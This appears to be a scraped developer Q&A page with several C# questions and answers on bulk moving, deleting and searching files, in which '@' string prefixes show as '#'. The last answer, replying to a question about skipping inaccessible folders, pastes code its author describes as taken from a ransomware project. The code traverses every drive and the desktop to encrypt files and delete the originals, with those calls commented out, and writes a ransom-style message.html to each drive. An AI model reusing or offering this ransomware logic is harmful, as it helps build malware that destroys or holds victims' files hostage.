Develop Reference

How to bulk move files in C#

I have around 1.5 million files to process
I process these files by taking the top 300 files in my folder, then process and insert them into the database, and then move these files to the archive folder.
the bottleneck in this process is moving files to the archive folder
I am using this code to move the files
foreach (string file in Files)
{
string OutputFileName = Path.GetFileName(file);
string OutputBackupFile = OutputBackupFolder + OutputFileName;
MoveWithReplace(file, OutputBackupFile);
}
private void MoveWithReplace(string sourceFileName, string destFileName)
{
Log("In MoveWithReplace : " + sourceFileName + " to " + destFileName);
try
{
//first, delete target file if exists, as File.Move() does not support overwrite
if (File.Exists(destFileName))
{
File.Delete(destFileName);
}
File.Move(sourceFileName, destFileName);
}
catch (Exception ex)
{
Log("ERROR (MoveWithReplace): " + ex.ToString());
}
}
I wonder if there is a faster way to move these files in one batch instead of one by one
or a faster way to do the move?
P.S. file size is 100KB on average.

You can try move the files in parallel way with following code
Parallel.ForEach(Files, file => {
string OutputFileName = Path.GetFileName(file);
string OutputBackupFile = OutputBackupFolder + OutputFileName;
MoveWithReplace(file, OutputBackupFile);
});
private static void MoveWithReplace(string sourceFileName, string destFileName)
{
Log("In MoveWithReplace : " + sourceFileName + " to " + destFileName);
try
{
//first, delete target file if exists, as File.Move() does not support overwrite
if (File.Exists(destFileName))
{
File.Delete(destFileName);
}
File.Move(sourceFileName, destFileName);
}
catch (Exception ex)
{
Log("ERROR (MoveWithReplace): " + ex.ToString());
}
}
I had not tried compile it

filesystemwatcher waiting for file to complete writing

I have an issue with a file system watcher application I am working on. It seems to run fine with a single file but not with multiple files or a folder with files inside.
in the code below, I call IsFileReady to determine if the file has completed writing before trying to copy it to the other folder. However, when a new folder is created with files inside, for some reason it's hanging and not continuing.
I think it's because multiple files are being written at the same time and my code is referencing just a single file, but I am unsure of how to correct this.
Any assistance is appreciated and thank you.
static void Init()
{
string directory = watch_path;
Program._watcher = new FileSystemWatcher(directory);
Program._watcher.Created +=
new FileSystemEventHandler(Program._watcher_Changed);
Program._watcher.EnableRaisingEvents = true;
Program._watcher.IncludeSubdirectories = true;
}
static void _watcher_Changed(object sender, FileSystemEventArgs e)
{
Console.WriteLine("CHANGED, NAME: " + e.Name);
Console.WriteLine("CHANGED, FULLPATH: " + e.FullPath);
try
{
Console.WriteLine("Checking If File Exists at copy location");
if (!File.Exists(copy_path + "\\" + e.Name))
{
Console.WriteLine("Waiting for File to complete write");
WaitForFile(e.FullPath);
Console.WriteLine("Copying file to remote folder");
File.Copy(e.FullPath, copy_path + "\\" + e.Name);
Console.WriteLine("Copy Completed writing to log");
error_handling("File Copy Completed : ", copy_path + "\\" + e.Name, e.FullPath);
}
else
{
Console.WriteLine("Copy Failed Writing to Log");
error_handling("File Copy Skipped, File exists at destination : ", copy_path + "\\" + e.Name, e.FullPath);
}
}
catch (Exception error)
{
Console.WriteLine("Copy process totally failed" + error.Message);
error_handling("File Copy Failed ", "Exception: " + error.Message, "00");
}
}
public static void WaitForFile(string filename)
{
while (!IsFileReady(filename)) { }
}
public static bool IsFileReady(string filename)
{
try
{
using (FileStream inputStream = File.Open(filename, FileMode.Open, FileAccess.Read, FileShare.None))
return inputStream.Length > 0;
}
catch (Exception)
{
return false;
}
*Edit
When it hangs, it seems that the WaitForFile never actually finishes up. When copying a single file, it finishes no problem, but I think when there are multiple files it get stuck somehow and it will not go past the
WaitForFile(e.FullPath);
I am intentionally hooking the Created event. the use of this application is to monitor a folder that needs to be identical between multiple web servers. the sync process needs to be as fast as possible as the web servers are load balanced.
the Call to error_handling is just a write to log function as seen below:
public static void error_handling(string message, string fileident, string source)
{
using (System.IO.StreamWriter myFile = new System.IO.StreamWriter(log_folder + "\\" + log_file, true))
{
string finalMessage = string.Format("{0}: {1} SOURCE: {3} - DEST: {2}", DateTime.Now, message, fileident, source, Environment.NewLine);
myFile.WriteLine(finalMessage);
myFile.Close();
}
}

Do we have to check if file exist for each when delete multiple files?

In the code below, I check if file uploaded by only checking on single folder but I noticed that the code stops if the file /new/name.ext is not exist.
Do we have to check for each to continue with code? Is there a way to continue with code without having to check if file exist for every file - or even easier way?
if (System.IO.File.Exists(HttpContext.Current.Server.MapPath("/products/cats/thumb/" + strGuid + strExt))) {
System.IO.File.Delete(HttpContext.Current.Server.MapPath("/products/cats/icons/" + strGuid + strExt));
System.IO.File.Delete(HttpContext.Current.Server.MapPath("/products/cats/thumb/" + strGuid + strExt));
System.IO.File.Delete(HttpContext.Current.Server.MapPath("/products/cats/new/" + strGuid + strExt));
System.IO.File.Delete(HttpContext.Current.Server.MapPath("/products/cats/large/" + strGuid + strExt));
System.IO.File.Delete(HttpContext.Current.Server.MapPath("/products/cats/full/" + strGuid + strExt));
}

Although I normally wouldn't recommend "eating" exceptions, this might be an exception to that exception rule.
I'd write a single method:
void DeleteFile(string filePath)
{
try
{
if(File.Exists(filePath)
{
File.Delete(filePath);
}
}
catch(DirectoryNotFoundException ex)
{
// depending on your environment you might
// be prompted for some comment to indicate
// that you meant to do this because
// it's usually bad.
}
}
Only catch DirectoryNotFoundException. If the directory doesn't exist then the file doesn't exist.
The reason for placing this in a separate method is because if you're concerned about this scenario, then you don't want one Delete to throw an exception that keeps the subsequent deletes from executing.
It doesn't entirely sit well with me to use exception handling for something when there's another way to check. It's better to verify that the file exists. This is only for extreme paranoia.
Here's a question - how likely are these files and directories to get deleted before you delete them? And if one file throws an exception that prevents the others from getting deleted, how serious are the consequences? It might be better to just allow the delete to fail then to get extra paranoid and overdo the checking an exception handling. But it's a short method so if you're worried about it it can't hurt. But this sort of thing can become habit-forming.

Based on UweKeim advice and the source of the ZetaLongPaths
library he mentioned in his comment (Thankful for you) and since I don't need all the Long File Name/Path issue so I have picked few pieces to handle my little application. I didn't fully tested it but it works fine for the code in my question. Hope someone can check and provide better tested code.
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Web.UI;
using System.Web.UI.HtmlControls;
//------------------------------------------------------------------------------
// ZetaLongPaths/Source/Runtime/ZlpSafeFileOperations.cs
// https://github.com/UweKeim/ZetaLongPaths/blob/master/Source/Runtime/ZlpSafeFileOperations.cs#L30
//------------------------------------------------------------------------------
namespace MyNameSpace {
public class FileHandling {
//------------------------------------------------------------------------------
///<summary>
/// Simple File Operations Handling
///</summary>
///<remarks>
///
///</remarks>
//------------------------------------------------------------------------------
public static bool SafeFileExists(FileInfo filePath) {
return filePath != null && SafeFileExists(filePath.FullName);
}
public static bool SafeFileExists(string filePath) {
return !string.IsNullOrEmpty(filePath) && System.IO.File.Exists(filePath);
}
public static void SafeMoveFile(FileInfo sourcePath, FileInfo dstFilePath) {
SafeMoveFile(
sourcePath?.FullName.ToString(),
dstFilePath?.FullName);
}
public static void SafeDeleteFile(FileInfo filePath) {
if (filePath != null) {
SafeDeleteFile(filePath.FullName);
}
}
public static void SafeDeleteFile(
string filePath) {
Trace.TraceInformation(#"About to safe-delete file '{0}'.", filePath);
if (!string.IsNullOrEmpty(filePath) && SafeFileExists(filePath)) {
try {
var attributes = System.IO.File.GetAttributes(filePath);
// Remove read-only attributes.
if ((attributes & FileAttributes.ReadOnly) != 0) {
System.IO.File.SetAttributes(
filePath,
attributes & (~(FileAttributes.ReadOnly)));
}
System.IO.File.Delete(filePath);
} catch (UnauthorizedAccessException x) {
var newFilePath =
$#"{filePath}.{Guid.NewGuid():N}.deleted";
Trace.TraceWarning(#"Caught UnauthorizedAccessException while deleting file '{0}'. " +
#"Renaming now to '{1}'. {2}", filePath, newFilePath, x.Message);
try {
System.IO.File.Move(
filePath,
newFilePath);
} catch (Win32Exception x2) {
Trace.TraceWarning(#"Caught IOException while renaming upon failed deleting file '{0}'. " +
#"Renaming now to '{1}'. {2}", filePath, newFilePath, x2.Message);
}
} catch (Win32Exception x) {
var newFilePath =
$#"{filePath}.{Guid.NewGuid():N}.deleted";
Trace.TraceWarning(#"Caught IOException while deleting file '{0}'. " +
#"Renaming now to '{1}'. {2}", filePath, newFilePath, x.Message);
try {
System.IO.File.Move(
filePath,
newFilePath);
} catch (Win32Exception x2) {
Trace.TraceWarning(#"Caught IOException while renaming upon failed deleting file '{0}'. " +
#"Renaming now to '{1}'. {2}", filePath, newFilePath, x2.Message);
}
}
} else {
Trace.TraceInformation(#"Not safe-deleting file '{0}', " +
#"because the file does not exist.", filePath);
}
}
public static void SafeMoveFile(string sourcePath, string dstFilePath) {
Trace.TraceInformation(#"About to safe-move file from '{0}' to '{1}'.", sourcePath, dstFilePath);
if (sourcePath == null || dstFilePath == null) {
Trace.TraceInformation(
string.Format(
#"Source file path or destination file path does not exist. " +
#"Not moving."
));
} else {
if (SafeFileExists(sourcePath)) {
SafeDeleteFile(dstFilePath);
var d = Path.GetDirectoryName(dstFilePath);
if (!System.IO.Directory.Exists(d)) {
Trace.TraceInformation(#"Creating non-existing folder '{0}'.", d);
System.IO.Directory.CreateDirectory(d);
}
System.IO.File.Move(sourcePath, dstFilePath);
} else {
Trace.TraceInformation(#"Source file path to move does not exist: '{0}'.", sourcePath);
}
}
}
}
}
Then tested with
if (MyNameSpace.FileHandling.SafeFileExists(HttpContext.Current.Server.MapPath("/products/cats/thumb/" + strGuid + strExt))) {
MyNameSpace.FileHandling.SafeDeleteFile(HttpContext.Current.Server.MapPath("/products/cats/icons/" + strGuid + strExt).ToString());
MyNameSpace.FileHandling.SafeDeleteFile(HttpContext.Current.Server.MapPath("/products/cats/thumb/" + strGuid + strExt).ToString());
MyNameSpace.FileHandling.SafeDeleteFile(HttpContext.Current.Server.MapPath("/products/cats/new/" + strGuid + strExt).ToString());
MyNameSpace.FileHandling.SafeDeleteFile(HttpContext.Current.Server.MapPath("/products/cats/large/" + strGuid + strExt).ToString());
MyNameSpace.FileHandling.SafeDeleteFile(HttpContext.Current.Server.MapPath("/products/cats/full/" + strGuid + strExt).ToString());
}

Couldn't you just iterate through all the files in folder ..cats/ and its sub folders with right attributes(name / extension)? Then you could just use System.IO.File.Exists().
if (System.IO.File.Exists(Path/to/file.ext)){
System.IO.File.Delete(Path/to/file.ext);
}
The iteration could be done finding all files with
string[] files = Directory.GetFiles(txtFolderPath.Text, "*ProfileHandler.cs", SearchOption.AllDirectories);
and then just doing something like:
foreach(file in files){
if (System.IO.File.Exists(Path/to/file.ext)){
System.IO.File.Delete(Path/to/file.ext);
}
}
E: Sorry for not being able to give you the exact syntax, currently using a computer without a proper IDE to write and test the code.

How do I test in C# if an exe is running correctly?

I have a viewer.exe that loads at startup some models (*.mdl) from a "models" folder. Some of the models crash viewer.exe: "viewer.exe has stopped working. Windows can check online for a solution to the problem".
What I could do is move all the .mdl files in a "source" folder and then manually test for each .mdl file moved to "models" if viewer.exe is running but, there are a lot of files to check. How do I move each *.mdl file from "source" to "models" and test programmatically if viewer.exe is running correctly?
Here is the code I use for my first problem: to move the .mdl files from "source" folder sub-directories in "models". Some of the files had identical names but different size:
String mask = "*.mdl";
String source = #"c:\Source\";
String destination = #"c:\Models\";
String[] files = Directory.GetFiles(source, mask, SearchOption.AllDirectories);
foreach (String file in files)
{
if (File.Exists(file) && !File.Exists(destination + new FileInfo(file).Name))
{
File.Move(file, destination + new FileInfo(file).Name);
}
else
{
FileInfo f = new FileInfo(file);
long s = f.Length;
FileInfo f2 = new FileInfo(destination + new FileInfo(file).Name);
long s2 = f2.Length;
if (s >= s2)
{
File.Delete(destination + new FileInfo(file).Name);
File.Move(file, destination + new FileInfo(file).Name);
}
}
}

use process.start(startInfo) (see http://msdn.microsoft.com/en-gb/library/0w4h05yb.aspx)
Wait a few seconds, check if the process has terminated, then the returned process.hasexited (http://msdn.microsoft.com/en-us/library/system.diagnostics.process.hasexited.aspx)
then kill it anyway using process.kill() (see http://msdn.microsoft.com/en-us/library/system.diagnostics.process.kill.aspx)
You might need to turn off windows error reporting: http://msdn.microsoft.com/en-us/library/bb513638(VS.85).aspx

Surround the operations which can fail in try-catch statements
try {
File.Delete(destination + new FileInfo(file).Name);
} catch (Exception ex) {
// File could not be deleted
}
try {
File.Move(file, destination + new FileInfo(file).Name);
} catch (Exception ex) {
// File could not be moved
}
In the catch statement do whatever you want to do in case the files could not be processed.

I have disabled windows error reporting and this is how the program looks like now:
String mask = "*.mdl";
String source = #"c:\source\";
String destination = #"C:\Viewer\Models\";
String[] files = Directory.GetFiles(source, mask, SearchOption.AllDirectories);
foreach (String file in files)
{
if (File.Exists(file) && !File.Exists(destination + new FileInfo(file).Name))
{
File.Move(file, destination + new FileInfo(file).Name);
}
else
{
FileInfo f = new FileInfo(file);
long s = f.Length;
FileInfo f2 = new FileInfo(destination + new FileInfo(file).Name);
long s2 = f2.Length;
if (s >= s2)
{
File.Delete(destination + new FileInfo(file).Name);
File.Move(file, destination + new FileInfo(file).Name);
}
}
//mycompiledapp.exe is placed in Viewer folder for this to work
Process myprocess = Process.Start(#"viewer.exe");
Thread.Sleep(3000);
if (myprocess.HasExited) //Process crashes, exiting automatically
{
//Deletes the file that makes the viewer.exe crash
File.Delete(destination + new FileInfo(file).Name);
}
else
{
myprocess.Kill();
}
}

Searching for all folders in c#, without dieing on one I don't have access too

I want to search the hard drive for folders with "StudentPortalNightly" in them
but when I get instead is an exception because I don't have access to all the folders..
List<string> dirs = Directory.GetDirectories( #"C:\" , "StudentPortalNightly", SearchOption.AllDirectories).ToList();
Is there a way to search only the folders I have legitimate access to?
Thanks
Eric-

List<string> dirs = new List<string>(Directory.GetFiles(#"C:\").ToList());

Try-catch will work so long as you catch the correct exception. In this case you need to catch System.UnauthorizedAccessException

Im not sure if this will work for you, but i used this in my Github Project and it worked. for some users it doesnt work because of the file permission error, but it wont break execution and goes on. This cdode is from my Ransomware Project i once made. Im sure you need to edit some part of the code below.
// So this is where a lot of magic is happening, and you dont wanna touch it unless spending
// a lot of time in getting it to work again. Since it "kinda works" (like 80%), im not gonna
// try to fix this as long as a handful of people request it. It was already a pain and im happy
// it works for now.
string[] file;
private void ShowAllFoldersUnder(string path, int indent, string mode = "decrypt")
{
try
{
if ((File.GetAttributes(path) & FileAttributes.ReparsePoint)
!= FileAttributes.ReparsePoint)
{
foreach (string folder in Directory.GetDirectories(path))
{
if (!folder.Contains("System Volume Information"))
{
try
{
file = Directory.GetFiles(Path.GetFullPath(folder));
}
catch (Exception ex) { write(ex.Message); }
// This should check the file extension.
foreach (string s in file)
{
// Do whatever u want
}
}
ShowAllFoldersUnder(folder, indent + 2);
}
}
}
catch (Exception e) { write(e.Message); Log(e.Message, "ShowAllFolderUnder > General Error"); }
}
// This will get all the files and and tries to encrypt it. It works together with "ShowAllFoldersUnder()"
// to get as many files as possible.
public void GetFiles(string mode = "encrypt")
{
try
{
// Encrypt Desktop Files first!
string[] desktopFiles = Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "*.*", SearchOption.AllDirectories);
foreach(string s in desktopFiles)
{
try
{
if (!s.Contains(Properties.Settings.Default.extension) && !s.Contains("Sytem Volume Information") && mode != "decrypt")
{
// FUSE
//Task.Run(() => Crypto.FileEncrypt(s, Properties.Settings.Default.key));
write("Encrypted " + s);
try
{
// FUSE
//File.Delete(s);
}
catch (Exception ex2)
{
write("Cant delete file " + ex2.Message);
Log(ex2.Message, "GetFiles > File Delete Error");
}
}
else if(mode == "decrypt")
{
if(s.Contains(Properties.Settings.Default.extension) && !s.Contains("System Volume Information"))
{
Task.Run(() => Crypto.FileDecrypt(s, s.Replace(Properties.Settings.Default.extension, ""), Properties.Settings.Default.key));
write("Decrypted " + s);
try
{
// Delete original encrypted file?
//File.Delete(s);
}
catch (Exception ex2)
{
write("Cant delete file " + ex2.Message);
Log(ex2.Message, "GetFiles > File Delete Error");
}
}
}
}
catch (Exception ex)
{
Log(ex.Message, "Getfiles > General Error");
}
}
// Now Encrypt whole hard drive
foreach (var drive in DriveInfo.GetDrives())
{
// This will try to create message in eighter plain text file or html file.
try
{
if(Properties.Settings.Default.message.Length > 0)
{
File.WriteAllText(drive.Name + "\\message.html", Properties.Settings.Default.message);
File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "\\message.html", Properties.Settings.Default.message);
write("Created File message.html on drive " + drive.Name + "\\message");
Log("File 'message.html' created on drive " + drive.Name + "\\message.html", "GetFiles > Check Message Settings");
}
}
catch (Exception ex)
{
Log(ex.Message, "GetFiles > Create Message File");
write(ex.Message);
}
try
{
write("Found drive " + drive.Name);
Log("Found drive " + drive.Name, "GetFiles > Drive State Check");
try
{
// if the drive is ready try to get all the files and files in subfolders using ShowAllFoldersUnder()
if (drive.IsReady)
{
// Get all sub folders etc
ShowAllFoldersUnder(drive.Name, 0);
}
else
{
Log("Found drive " + drive.Name + " , but it's not ready.", "GetFiles > Drive State Check");
write("Found drive " + drive.Name + " , but it's not ready.");
}
}
catch { }
}
catch (Exception ex1)
{
write("ex1 " + ex1.Message);
Log(ex1.Message, "GetFiles > Drive Error");
}
}
}
catch(Exception ex)
{
Log(ex.Message, "GetFiles > General Drive Error");
}
write("Done getting stuff :)");
}